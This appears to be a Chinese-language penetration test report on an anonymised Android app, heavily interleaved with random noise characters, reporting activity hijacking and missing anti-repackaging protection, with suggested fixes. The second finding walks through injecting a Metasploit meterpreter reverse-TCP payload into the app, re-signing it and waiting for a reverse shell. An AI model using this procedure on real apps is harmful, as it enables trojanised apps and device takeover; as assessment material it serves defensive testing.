- |; Z8 ^9 |3 O, r; A% G. b
4 S- s1 l* X' k$ ~& i( C0 o" N
6 [. E; b% }, x( K+ ~! n. P; }6 I" `. P2 _: i, \; Q, {
( b! ^" f: ]0 P, Y- m, z
3 _- ^- m6 }3 A& a2 O9 O
* b: U6 w8 w3 H8 @. C5 W
/ D, K0 y, j" u0 t* Q0 [
- `& X. K0 e3 y3 W1 \( w5 J
' H% x& `' j% f, S e# }8 J. d 2 检测结果
: a2 S( m5 p: |/ h) }7 v( N3 F" V. q4 i0 C. x3 D
4 C* j* b" [' |+ L. }' d+ z
$ ?# n. q3 D" {, _" p
8 m& i" K. O# c+ P2 h0 O- D- z8 k) E
2.1 某某某
( U u3 D! r2 j
" K; B# D% Z, F$ S
! R. T2 X Z' A- ?/ S
8 B9 z: u9 ]4 }3 w- G
$ C! V2 K) P% F7 t) a2 }3 v3 s v8 H- E4 ? r* f2 ?% {
2.1.1检测目标 ; T3 p# f( O& G; s, o" t* u: y- }+ p
) \. u0 g8 ?2 e9 M6 u% n2 N: K
5 w5 U( @8 L0 W! E' l$ q% o2 C( m- w5 l" r0 J
. O. D: |% s& _6 \1 ^ A
) H$ V* m9 [1 c: _. B2 R2 o 目标地址: 某某某某某某APP
/ H& r+ z+ v( T9 J
* Z: q; L2 G+ g3 k
; f1 w& T9 k3 f: N( s# R0 p' X
& F' V, {! c5 s/ i* e# `" F
7 f+ |7 z; e/ Q+ r- e
5 P/ C7 v# d- m3 @6 \* { 2.1.2检测结果 0 J' a8 l+ R, k" `! w; o1 x
" V4 N! T* b+ E: `1 O6 C% c' _+ R
5 Q% z; p8 U- C- e6 S( |( ]0 V. Y, _$ q b
1 Z @3 N1 c% \% Y
, ?& E7 b0 ?* C) R2 Y' {* M* Q
2.1.2.1
$ Z6 @& S( u# x z- ?: n' l" X
7 b0 c, E/ g" I \/ V' y: i! t! ~
* D0 l$ E$ s6 J; V Y5 F: J/ x+ y8 ~7 K; ^) W
- C: n( E" _$ M9 h. l, P, ?& \
) |7 Y" B% \4 N- f: O/ B5 w: s 漏洞链接地址:某某某某某某APP
- N" d0 Z4 l" O4 g! Q4 Z& `, a0 `
s& [( i# M/ S5 R# @' t
0 x; ]% W) x! b% L- i3 l. y" W- U' Z: h+ n0 _8 \8 }% e
) T% w4 e q& W* ~
( O& K$ ?# ~! P5 z 6 ~& C& \! s1 P; o2 R# A" W: A; x
6 u1 R& `: d+ m3 o, j* Y' z! M5 j6 ~
6 [4 p& c) j6 j# F- Z
: O/ P+ d- n! @* e
( m6 B. y: s: k! S! ?/ J5 K; T6 h
, T- m% q- I6 E1 W5 J* J' c 漏洞分析及取证: 1 ]- @! c) |$ Y; A
' k; D2 J3 ]0 ?4 V: O
( o( R9 X( ?& K. F4 E
- u$ O+ z- g/ Y; d; w, X! F9 c4 E
0 h$ E3 Z; n( N) X( ~. L- s
( U8 a/ Q) {+ m, z1 M 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
$ a* ^+ v4 |) J% ^0 u- z
* A/ e; ]3 \, Y8 Y( M f
5 K h: k, y+ o' l6 V1 l
( _( R$ o! ~( q2 U ( x! K( v4 [9 m( e
# f9 l7 ^, R; F
# ]+ }( q. m6 W c* c
0 J# x: o& r) s; ^% f
! u8 `8 G, b' ~- O6 ~
7 r- K S7 f1 c' m# b
" ~( `2 R+ W% G# y0 Z( n6 f: q
# k3 t5 {2 ]# K* X6 K
! H1 _) C. {* d
( _1 [( n- y+ \: c+ j8 a: J/ H9 ], o. @
2 `6 _/ p- U; X$ M! o2 @
9 @- Q7 Q8 r$ k4 r, e: A0 x
" s7 c8 X/ q: e4 I4 T& t" F
( S& r. K9 n( [) f( U ?
/ ~0 T8 d; {7 F/ `7 G- x
0 S; M' p0 C- p2 E' ~! i' Y
: F" M8 v- b X1 ?! h0 Z h$ d: T q; l* k$ {: ~
) j( S# T6 d2 s E9 K+ K; {
; H+ E$ l+ z$ Q
/ k1 T5 P5 y9 H/ C: E& u# Z. [) u2 t" v
+ p3 L6 O9 w! C/ ?" J' @. K/ a
# Z% k; G [& P# H
5 E& ] [' m- P) v3 L& d5 I
! z9 u+ d' l( H
% j3 E7 _6 s! v3 x* r4 x: |* {' u1 S g# k+ G! ^
/ p$ N. I8 C- c" c
0 H6 l1 x1 {' Y7 G* u& b
漏洞危害:高 % a/ @/ z& M! T
9 V; w/ C' \' I9 @( k. }0 h
- i( V$ u! s8 @% ?- o
- @" N( O' ?* l, T$ ?0 r ) x, x& L+ | p/ f& ?/ c+ j
0 L! Q% G6 B1 B+ k. ~5 X" g
% } L! ~4 a/ s+ ^- H& h# M) x6 D' L* z* b e5 v8 j
( q0 S7 \' L$ U) t9 w* ]: C6 M. `+ o
( i& Y$ u8 r5 L4 P" Z5 N: w3 A
3 a$ V7 A# y/ P) _+ ?% ~) A5 P
|
# Q* F1 |; c* y8 t- A/ h% I
/ U( u( i0 ]7 Y, ? T6 k
1 Z, }( N, \3 h5 q2 v2 a6 I5 `. `0 _' ^- V
严重程度 # w9 h0 S( @& h! U% V
- T' Z2 H. z* k3 r
, z+ a/ T% h7 \9 S! X
A; K% f/ P, ], X# a) w |
+ ? Q! w$ j4 ^4 |! e; ?; r, [* @
w# H7 \, V X. R; N; E
: {0 P5 o+ G% A/ \3 `
) U$ X- |3 u& M
0 r9 {7 W+ d4 U0 G( ~ 高
* `& V: g+ q5 M/ x) {( Y3 i; y2 r0 b& Q, w4 B6 Z
8 A9 }' l% b9 C U, }7 c* |" e" s
; C x& l7 {" z& o |
# p# a0 P4 P& |8 E9 y( h# @5 h6 L/ q# Z8 B. B; X
1 w. _, x: w s( a% C
0 ~4 s4 p: S# h- f- } 2 `/ A- A2 {1 s; {
5 j; K( H# v- B$ K
■ * e& l+ q6 H5 n$ Q5 z+ l
# M3 x8 G+ A6 o E 1 ] b+ _" S- ~# f9 r
% S7 @: |( O3 {5 j8 ~
| $ L4 B7 Y K0 Z5 a
( q. l; o, x2 m( n9 F- \
; M- i3 H5 I% j5 ^
% w6 Y! u/ z! {; T5 x& h# { U3 c* M
" N8 P' |; h9 ]2 ^' A! u8 D& Y5 W+ ]# [) Q
中 . z- K: U: X. {" ^: O8 n
6 q3 g5 l& R) J$ \) o: M
' ^! ]1 r4 `; @9 P6 J1 C
+ c7 N6 N' f1 D" Q/ g: ?. R | # V% z7 N- V- d+ @
5 ^8 [# k2 h( T, a V1 K& f
2 i& l8 [! h1 |2 O2 K9 _' {+ ?8 z$ I
; G- J- l6 ]2 o' ]) x
2 l9 |7 O3 t% B
" v, X7 w5 z8 i8 Q: {4 Z- K6 ?& d) c. _; i' `, H8 w, R8 ^
5 n' {1 M# i% y: f! F' K
7 j4 i& d- p9 b* `7 H | * Q) S7 Q. c3 [0 p" }3 R, b ~
- ^! f4 x# f E a
& d/ p/ D; Y3 `6 K
1 g# a! x* T, ]! Q
$ ~4 p- _0 k# K: ~5 R
2 r' n. ?( ?6 |! ~( j8 S 低 5 x. ? ^# G- {8 u
, ]! C7 W5 T! N( i/ ~1 B6 V7 J$ k
2 n7 i& k- E, t O6 M" e5 D
7 {( I D& N# ~8 q, ~3 o6 Q$ k
| " G1 m) O0 L. t' B. d
/ I$ |. u" S/ V9 F$ p! \
5 k$ D, {0 i/ n# p' A$ x. h' W# k8 y. s" X% a
0 ]- }! f) P. t! J
! U; W' S7 R2 Z% L5 z( D% k' k
& Y' \. C" R& \! _% q: W: D8 v5 e4 {: n3 z1 b9 F
" O1 F( l. P1 ~# D$ L$ b* p
, y1 X' G. G+ Q | 3 g# q# z0 j' |$ D
5 C' y4 h \. k( I6 h. ]
5 V0 p B6 Q4 J k1 h' c
( ~9 T3 S0 w" m& B9 W/ ? a
6 J3 v2 L: V: ?# L, v+ G1 o+ g1 Q2 O1 ~
5 u. ~+ V. x3 { q1 r7 t2 Y; F! y) z( c5 u9 y. L# N+ D
. K6 j( ~$ ~, g& G$ k% [7 H1 y
; ~1 a3 y: _' g: s " t6 F L9 }. s* q% i2 u4 w0 `
, v1 t6 U' L: Q( T7 d" h9 o # t* I" U9 w7 L( N& Q3 ^
6 q( B/ ~5 C. _, j' [/ M; N- v
# b5 e& F$ P d
( K6 L0 G9 n; f; i , o, ~% E* }. D4 P) K" _
2 l/ C: `8 F. Z6 N 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 8 [! y6 c1 Z( p3 s1 _5 \/ q8 U
, g! I9 B( A' Z8 R
. W' z! `3 a; }# U! E/ P; j' g: q# n) r2 q6 x
' c, U* }" m8 |6 Z) m, B8 K; W' K3 j P% F
% h n$ p, O- y, C: y
# `: q2 K1 ]6 `7 [
% |! D( l5 \) G2 x/ p5 R3 i& n% i5 ] ^, k- T$ [
) n+ V2 c: V5 E6 B5 n& |1 t. X$ r' \6 v3 {. a6 k* H
: O1 x9 E+ G( q' O
" f$ C/ [" V7 r" J: v: m% y/ @
+ c; e+ G: r( t- n0 M, b# p8 \9 C0 J4 H4 X
0 x5 F$ Q& h4 b6 s# Z4 K* k T1 b
! L7 e" Z. u9 s3 i+ ` 2.1.2.2
; N9 P9 M0 X/ t' O9 O. e5 p: i( a& F6 d; `' M6 X6 Y1 w; g
# [4 r) Z9 N8 [3 L& f
. t; o; u, [. ^; M; b4 v( w 0 h" U% q' S: b. N0 `2 Z2 z2 t
* p/ j9 |* A: v1 f/ B; j
漏洞链接地址:某某某某某某APP - g( p$ S' H2 f6 W' h4 r6 Q
* A: \8 G; @+ A2 P, ~( A# _- |
$ b. V0 R; p- H2 `/ R7 X
% h4 {9 `3 S* {
. Y/ s, K1 G1 }
8 B8 O* r2 e8 g5 N% I4 y4 X 漏洞分析及取证: $ ^- z5 h7 P6 k
i8 u% O+ u' @. S' T: P* Q' y
V% N- p, f# ~. q9 I
1 R: T" X, G; b0 |1 ]5 o/ w8 H
- [7 Q) @& ?$ v: Z7 P. E: R- N% F
, ^6 c* B; J7 q4 b, x- i ^/ V: R0 f
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
: O1 ]/ i6 G3 |; C# J$ O+ k0 o
|. x$ c; n1 X; p: x
; m8 W0 r2 a- l- U& B; W
" L) a# e- P- R1 U! V
R) U" i' ?* u! o+ M
# A/ L3 J% d$ A" _4 s: D
用Metasploit 生成木马 apk ( N6 o* e7 t3 g* z- T4 g
3 ~, S$ b" p; m8 f2 c7 Q+ e
. v$ L) i" p1 T% o. _( H
- `- ~" D3 X3 L, c( A$ O ! j% a6 J" X0 R/ e5 O) E
# F, F6 \$ |- k msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk [1 g+ K( _" [( y* z
7 D9 H$ P" n0 `" [' z5 B/ j6 a
$ j7 |; g9 B5 b5 ~- r, }2 E/ V" y- u2 O8 Z2 P" Q
! ^: A- O/ ~" h7 {: I
: U, O& ]2 _" k) p* j
反编译目标apk和木马apk 8 q2 M& h$ a5 y: u* k8 F3 `
5 t3 Q, L R3 _# W1 \2 J4 d0 Z$ d
1 ^# n/ V" S2 D0 ?
1 O$ ]% l( f: y! L
7 f. ~9 ?% X% H" j2 W' p' b. V3 }0 b: {
apktool d target.apk
6 F# E4 m2 A4 j9 p6 M1 u$ r- D$ ?. G' P7 C# |, y- X
apktool d cockhorse.apk
) a b! o" k1 T! |5 t5 }7 E+ e2 V2 [5 Q0 w
2 O; T5 x5 B4 `+ D' k: {
8 Q* e/ w" t' c X
; @$ H. S8 t* K9 d4 Q
6 x2 [: T5 w2 p1 `. b6 T, Y 木马 apk 注入目标 apk 7 U }* T; ]" E* n6 ^ g: {
0 g \, J5 S1 w. ~3 T
/ Z5 M9 K% Y, p- F) @, J% B
! J- R4 @- l& E
# I( ~ y) u' f0 A$ |$ v, m
4 w0 `2 \- y6 y0 m" A$ x2 B/ j 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
' w0 f- a2 [- c$ g* G8 _$ u
/ g2 _% [% A, t* Q8 D# X! n
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 4 ?1 E* M+ L- B7 } `
1 k% A0 D- V, c+ N6 {3 u* ?' X
. \4 v- K( p! V' J! p4 N
0 E* [8 g, U- i6 z, Q: x# v; g
0 N f1 @# l4 L1 ^$ V7 V# x7 H; Q8 b; y2 D
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
" h" A9 B0 G' v
3 S+ d3 M9 ]7 ^
) ]2 X% d% F6 E* t9 l! G
7 c+ }# }* A/ q& X. Q% v0 ^
: l! r) C2 o) F9 l7 c* t9 L0 `- S0 Y- a( N9 }* ^. `4 R
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
( L S; `. v% T; J4 e# s
m4 g2 z1 G$ @6 ?3 b1 `+ @
6 n0 V5 ~' N) b# B$ l$ o" N
' u# y7 x4 j' X
5 r; \3 X8 m0 x. K
0 v" h x) }6 f% Q+ Q y K2 C$ w
回编译生成最终 apk
# ?! V; }& _! C1 T5 d+ \/ U& M$ V+ P
# J5 D) z+ j0 f6 X9 `1 r7 z- I% Q3 [6 r+ N& n/ e# V. F
& u5 g9 b7 Q' D) Y) U& m
4 w9 a, c9 K( l 重新打包 - _' a# L1 ~; W* b6 M
6 ?' C* n- `/ d
$ a; N- `3 e& f5 b) g/ Y4 y% ~$ e' E) K0 o7 |' r. ]- u
* j( O: b5 a( Q* k. p6 Y `. R4 w/ ~; p3 h& {
apktool b -o repackage.apk target_app_floder
' @( Z9 x( F+ w/ e/ b0 E! _9 p" J' A# I: \: R$ Q$ F' P
) B2 T) E7 F; O4 R% @6 F$ B
W* _3 `( H4 c
( p# d: G" Y }- r* Y9 x% O2 p# N9 @4 A# A' Z/ ?- ?& ]
创建签名文件,有的话可忽略此步骤 % U5 E4 Q) u& l5 E* v( j
! M7 h7 i# J2 o7 L( m
7 ~# t$ a4 K0 B& D. N
- h! l% v1 M+ y9 s3 E' m 5 W$ d/ U# q8 w* f& x$ u' Z7 b; h
3 T) b7 j; g0 d# s# y keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
/ F [( F, z: V2 S
; @& p$ a+ n7 f7 j
7 @4 j4 D7 y5 v+ j* F8 r. E/ q4 ~- Z3 w, U( p5 m; b! J* M
1 I3 F' A5 U5 ]9 @, F" n0 g( u
. D. z7 j* e5 A' ^0 t
签名,以下任选其一
, U7 y* n9 B8 r2 L8 s2 @& y' e$ b/ b
8 v0 u4 Z8 z# o& g) R, P
$ v! \' q0 W c
. c M" c4 b; ]# ^0 c0 p7 ?+ F
6 |0 u( S! b7 c R2 \% E jarsigner 方式 0 d$ K1 c5 R! h9 k
_& Y1 _ a0 P
% w% o% ]; f: U4 {4 s+ ?5 ~
9 ^8 X7 D# \3 n6 Q- o+ e7 S' ^' D , {6 z8 N1 N) E4 h
( E# g3 h! z I O. G
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
& B7 u2 V9 y8 ?) c* w. c
% K# K1 w# H* R& W* R
% ]8 s" ?# V. H! `1 [( E9 F: b. b
7 A% j* ^0 C4 z
; Y8 m0 n" `9 R8 U
4 n3 ?. Q* }- y( A: f2 t! [
apksigner 方式 / \$ ~! }$ x3 }( v; u1 V' U, A
% ^, ?: Q9 }. @, w V, X4 v
c9 M. e( J7 g, R: O5 C7 q
7 o9 g* |* A- m
! \; V$ U- z3 t3 D1 a, l4 X* }8 g. H
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk + K; `9 e# m* d3 `# |& ^$ W
0 T0 f* N* P. ?; ^ s1 \' P! b
5 N7 I& L) g& T- m
, l( d0 |$ P- s
8 h4 y) M0 r5 b9 k, B0 P) F5 ~6 E4 ^# o9 k
如需要禁用 v2签名 添加选项--v2-signing-enabled false ' f8 Q8 z) |" j _( I
' l: A3 S3 t3 v9 x8 j* o
7 ^" w+ W+ m' [0 }) ^$ N0 k
0 y# O( V+ q$ C# E u: C * _9 g. j6 I. @, l: w# i
: \# a4 I: T, f4 C3 E) i1 c
验证,以下任选其一 6 W3 U: y4 ?* {
# F' `8 i: R3 X; o8 E+ {" P+ B& B: u
5 a" L* L/ g I2 ~6 ]: J4 V7 ?9 u
0 h3 `7 g& ]+ U" T: ?: Y) z) w$ ^; u3 O' s
jarsigner方式 ' D u) L1 K9 S9 K! w ]
" b7 X8 |. v8 c" b$ @0 Y
* K6 d* W; b+ w+ A8 v
1 ]- P6 S5 G4 X5 o% F
( e5 g8 O/ k: y/ I8 F5 D8 E
8 }$ j% @4 R. n6 v5 k
jarsigner -verify repackaged.apk
2 D3 ^& Q& e/ T; T( J7 x
' J) R. i. Z A* y4 k
; y; K a4 b6 Q9 i; h
* I4 G$ j T+ s- B4 ]+ w- Z
! _& q9 [2 A% s, [0 r4 u
# u: O: c5 y; x1 f apksigner 方式 - w( _7 f! ~7 k4 L' K% }9 w; f
' r1 \9 H) Q) ^$ N W& A0 n/ z
9 A, _+ m5 R' c% i# i! G; F
" ]7 \$ Y, [3 s8 i' U+ I
% ^5 Z) J3 j" v; @! O4 }
( V# b. |1 V5 e( ~ apksigner verify -v --print-certs repackaged.apk 8 [ h, P C# d: k1 U
+ ]: L9 v8 z" R' B( J7 j- ]" z) O
' k, x$ d+ @( {4 l0 A
. N1 z4 _# W Z$ Q% i
; ^/ e8 Q) z+ h6 V7 T/ y0 D
: d# u8 w1 S5 w" C. a+ P( |) Q keytool方式 ' {! H l5 Z* x3 W2 r% e
! w+ j; g/ N$ W6 f- z* M C# U
$ W: h5 j5 ^& b, L/ [# N2 F& o1 p1 b; m2 K5 @( v! Y
6 G$ @( d$ v9 q" N7 d2 i# v' ~
/ G' w% R& W: I1 ]- ~) |. M1 u5 `1 i
keytool -printcert -jarfile repackaged.apk 6 \: g0 j7 ^0 V
( f6 p) |0 y7 R! u5 S2 ]5 m
4 v6 z& m {2 O+ B% T0 ? e. [/ s: @
6 L( {/ f! E! ~4 p) u+ P- K& y% m& D4 p- C
对齐 : _$ f3 g$ [4 q2 h0 e" V8 F& P( i
/ j2 S: O X3 _% O' k* r
5 r( k$ w/ j O, U% N, D: Q4 p- }
0 |. c+ D( Y @, d# G' b, w 6 ?7 J, Y% L" B P- [" f
$ p3 t+ ], X0 y0 F( L! B+ @9 H 字节对齐优化 # A- w) [5 N7 y) @( R7 f. N+ ^( a
) \3 T: _* I% ]2 C
9 T$ T1 M8 _. I, R) g! Z' @
, F1 q8 g* [( j+ U1 e . X) S! d- G6 ?( Y' @1 ^
4 x. {7 w d j
zipalign -v 4 repackaged.apk final.apk
- E/ [8 d* s; q/ s& d ~0 R9 f2 N# R3 E" j3 x( U
9 s- Z. [: @. ^; r! }
1 H3 ~! m$ N0 B! d9 v
& _% j8 H: u2 G) [ F* _# F) d* b, K! T$ d# K' h, M3 `
检查是否对齐
* D1 c, i' g2 ~. Q8 L5 d0 p2 j1 L1 v. T8 f. ?0 k; Y; z+ P% f, t
+ f6 k/ N; i, m( K* J; s
7 H* k* t8 U5 ^2 x& k$ T
6 d8 e1 H, A2 ~' g3 t; I* |, ~; b. h# y( U
zipalign -c -v 4 final.apk
6 {/ E, G/ v8 L! I1 ~) b+ J. g5 k
8 l) h# _2 y/ p+ M( ?
! z5 M+ Y' O. A. M2 S9 Y6 a
* `+ g7 B- S1 t; {5 Q- i
' H: }& m9 ]" K6 R+ I( r" O4 ^. O2 D" Y4 a8 J' n' g
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
6 m" R3 T6 I: J& m( j x( t
3 K$ n! g8 ? l2 m
; L% o9 Z. u2 K1 C r4 k6 n
T& t( D: |; V' T+ k, [ + W( K% L. k+ |& I- K
# \7 n& ^4 O7 I) J3 o
启动Metasploit控制台,配置参数等待上线 " F$ \3 z* S: l. ^2 N2 V, X
# \' t% p( {3 x4 n, u, ?2 `+ m5 ^
4 W* W% x9 w& L+ {- `2 ] Y' Q8 x! t# M% M
4 ~1 c! e* y$ w( J
) P: X: H: b* v$ s# _
在终端依次输入如下命令
2 H/ G7 n; l; y. [7 A
x, D8 P! l; h
/ z, W) I- } ~( X2 S# m7 Y( {2 Z: z0 r+ v$ Y
" J# `- `( `% v1 g- M
( |' }8 t) J- ~; w, w msfconsole 0 W4 g7 W9 z S: b9 D. P6 _5 p
9 Q" d! s$ J v1 c( ~
+ P6 `9 \0 T! j) ^( d7 L6 ^& G
$ j$ i/ T2 d7 \; G4 |, o ! r0 e4 {3 C4 B4 |( D
2 x' W+ [4 t/ N: H! e* r# _
use exploit/multi/handler 4 ]0 S2 f# x ?& C) Z
' R3 u- r6 m# O' H
2 w1 U- U2 R$ j# w- [, C% p6 U" x3 b; m
6 ~! e8 V- k2 ^7 S1 h9 R) z: H0 U8 O/ h2 v X
set PAYLOAD android/meterpreter/reverse_tcp % _' Y# l; b! y
0 J. w p/ X/ L* o
) Z) n0 ~; X* g r6 c
$ s4 F+ N* }! `& S1 ?* e( D/ q
5 {8 E7 Z* g2 Z. J( G! f
8 I$ w( A I1 l) K: `, g
set LHOST 192.xxx.xx.xx 5 g9 n( \" z3 d. y) R
4 m( ~* j! Q; A, [% s, j7 Q2 j
; |* r% ?2 v$ u8 ?2 c1 m7 z) p9 l, ?
$ z$ X( |- ~3 Q% r 4 B' a9 m; M8 U* V1 O3 L$ e% ^
3 ~) V' o% B6 l1 T set LPORT 4444 . o0 D) k4 I8 H9 c- g: `% {
) d* r( G# L5 T, z5 U
3 [6 M, q* R5 e
* F1 Q, `. g# r+ w$ m 1 [" {" Z- t6 e- U- y8 ]
. Q* U7 d" G" Q1 |. q exploit
# A7 u) J2 u8 }; L3 f, h
0 K" ]8 k* F: x& V2 k
* K7 o( w9 [+ E: V" ~, r3 r5 C& y6 c, ^3 j
* W. U2 V; q+ j" y& f+ @
" V" B, ~3 ^+ \" C# V 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
; a: a* E$ j# A( O) z4 }+ u: Z, r0 t* T
1 d# f* V6 y' y" i( r
9 z) V3 i9 f/ ~( T
# B f/ E! c0 j) g8 f0 Y
3 M8 J8 P2 T+ t; L8 Q 漏洞危害:中 - g/ x9 L( }8 j0 ^' u
! x: p7 s+ s% r9 u6 ]' ?# l( X/ o
( J& {2 }9 q5 j; t4 O$ |8 c ^
. }2 s7 ^! u+ A; r( H
" O1 E, `- @6 D9 K5 y% ]: N
5 w1 F( n! @6 X, P" T5 ]
5 L$ L' {0 X* R) y
* e4 K6 i' `( V# p$ q
1 N% C% i' [% J& r3 `
* |9 i) B0 I% n1 a2 O% d& H 7 f8 F9 o4 M9 S n+ Z/ Y0 {# L* }. T+ C* g
6 D' T* \! r, g" z. k& F L ] I " [/ r" s8 n8 P4 i R+ T
9 S: J% m. ]/ c- ]4 O
| * s9 P$ q, u2 I# e a- _, e8 `. b
& ^7 X% I" Y9 K* G1 t# D q
" s1 P! `& q$ A4 n4 A
4 L3 ^6 _7 x4 Q! I 严重程度 ! H" y2 F5 z0 r' f& ^
2 n0 ~2 @6 F2 N' i" l3 K2 e. m* [
" X" g+ z9 `7 v9 k* O
# y; j. M2 G7 R; |4 s) v; L+ ~ | - y! j( g _& F' @
- C. l7 j4 { ]% R; K 1 R0 X0 H" b3 g) w9 @
- z/ K. d8 I8 R' I
" F+ F- u2 p; k& F! K; E* k
9 P- M- n5 ?/ O( w8 E0 R7 J
高
( v7 f% W* S9 H1 Q7 G6 L& ?4 n2 m0 {& z' m# W
$ `, j2 z' ? O7 u
; m, F' M9 c9 q7 Q. X' |- y7 Q8 Y |
2 m9 b4 E: A \+ d: G& I7 P6 w/ s2 S& X5 T9 k
! O2 }7 z; I- a$ `* w1 x8 n, }# H6 T7 I- o) T% {
; B+ m6 Q+ j5 Y1 _# n o9 L$ v
% R6 w# t/ k" S' ?- V
■
D$ D9 G6 y& g7 E' K7 a% |4 c$ H, k( P' Z# I; H+ g
$ b+ ~9 X: v2 H% T; A# Q' F: c, y% N$ T$ b
|
$ ~- g0 c( l$ f( y) V* S
' [8 B+ I3 X% O% M! Y% U9 q
6 M8 N" n' V: J& a j) d( l2 Q8 O% j4 A9 d! e
' s# E6 I2 U; C* ^
! x) z0 i% v) y 中
2 R2 `# l e* X5 j6 @2 p6 M( R( E; ?+ i
- A$ w1 h3 g% k: v
! P5 m1 M7 r" @: i) C! y |
% G$ r p* p" D, ?$ L: t3 g, s, ~7 ?7 L
7 X# K& b8 Q( z0 z2 [
$ L; r) G3 S/ J k8 [
+ W! a& A2 W1 Y7 a3 F9 n. ^* x( _8 M
! @1 R% |8 D- V, u2 }
- \% f _8 c# N+ w* |5 s. N+ K6 `/ T/ ]2 c9 k9 I9 g3 p+ l
1 p/ Z2 |& S% N" b* Z0 T3 a, T1 j( ?
6 D R# h1 `3 k, E . b+ Z. j: b; K% g1 M6 D
% X8 g& z! G8 U3 C' Z
|
" O, @1 h( P; A( g# H9 n$ I/ b
' f' S$ x6 K* D1 W& d& {; |! u! O
5 [ G! `! K& W2 [8 s1 {" P. ~$ N R) u% [+ L
3 v4 f ~1 W; f4 S! A% K( [" |& ?, X8 T+ _* a# Q0 n/ i: c4 Q1 O
低 5 B7 d7 r2 M6 R5 A# `3 Q4 p
, ? G7 Z7 C: i4 M5 f/ ` 8 N* Y/ \) `( T" z* n% ~
- Z0 K. i! |- R8 m. m6 N' f
| & G5 Y! Z& A+ ?! _9 B4 a4 b
6 ^8 \6 q/ F5 b9 n2 K( l: }1 S ) c, Z% v+ x" X* j
9 r+ r, O- c4 i/ _; k* |) Y
# e7 B! x/ t7 v' G$ U1 i- C
0 k+ H: \; U3 Z 8 M2 l, G2 M- F! X# q
: p4 y/ S- A' D8 B! D, ]
+ |0 s: J& N; y( ^, P) [0 e N. T" s) v
! C$ M0 W! N9 m/ r# T+ l; U$ `; I( W( I$ o* ~
| 4 }& \5 ?. Z' n* `' K
+ g& ^0 @+ n7 K: m3 w% G* Y: K* r
) z. b8 W7 a$ r3 A$ i5 V
( k* v8 c9 a: z8 }+ Z K+ \ . c- \5 t F: `0 v( S. o" f; [
$ V) \$ |& Q' ~9 u& I! q
7 b7 b! `8 K7 P$ N. Q, m8 e
; d2 V" N5 I/ q6 p 0 i6 a& ^0 a* p! E. s+ U
! Q. c* q U. v p6 C7 `
1 U' Z4 h& F6 g- |* ~/ ^# M$ J
: H% z! n I/ m, W2 ^4 o/ Y/ ~ ; L0 [0 t1 \) ?
7 F/ G4 k" P- J: r% y9 J: w* {4 J
; T O+ c0 w& o6 [5 [9 R, f. b7 c( @
1 ?, d& @" t1 Y7 Q9 r: {
h2 |2 |/ R. F5 ?
修复方法: ! b' o0 a2 [, u4 Q, f9 A
# A o6 K( l3 v
) Q0 f1 X9 \& t- o7 g
* l, m8 ^- o9 r8 A& J( y
, V/ S9 @1 Y& x) W- d' C8 d! Y/ x; U% g2 w; m; H+ E
1.在 APP 启动时应做签名校验防止二次打包。
5 Z/ W& z& s" a. o/ l! z; L9 x# `
2 V. k# H; I2 T/ { |% L: I6 |) V/ x 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 2 V6 s5 i7 t1 g; N
$ _) ?4 }5 N7 {: M1 X) i# v* @
& A7 d& m4 u! G: r3 I. d0 D" M" A# F5 W3 j
5 R+ ?0 U( s5 n" I( f: n% b, w8 ]6 A$ f
7 F) _0 o5 ]) M- R+ {+ O3 Y
: q, N5 V/ I) H# v$ w ; _! }7 e' n/ }0 Z
2 V3 P9 w8 s# A: D. |: E
7 @3 P7 w% n" S% F5 d2 ~
' `; b& {; Z2 k" V
4 n3 O; U( o0 Y% S5 |
8 ~( L% d, T+ K2 L1 [ 1 P3 W1 b$ i5 \ [- h
1 _; y# y7 u6 _8 R+ r" C; W
, f! W+ u, l0 _# f
0 _( d1 \+ o# d5 h Q# c
X) ?5 n, n4 i4 I
) X4 X+ X8 M9 d: m) T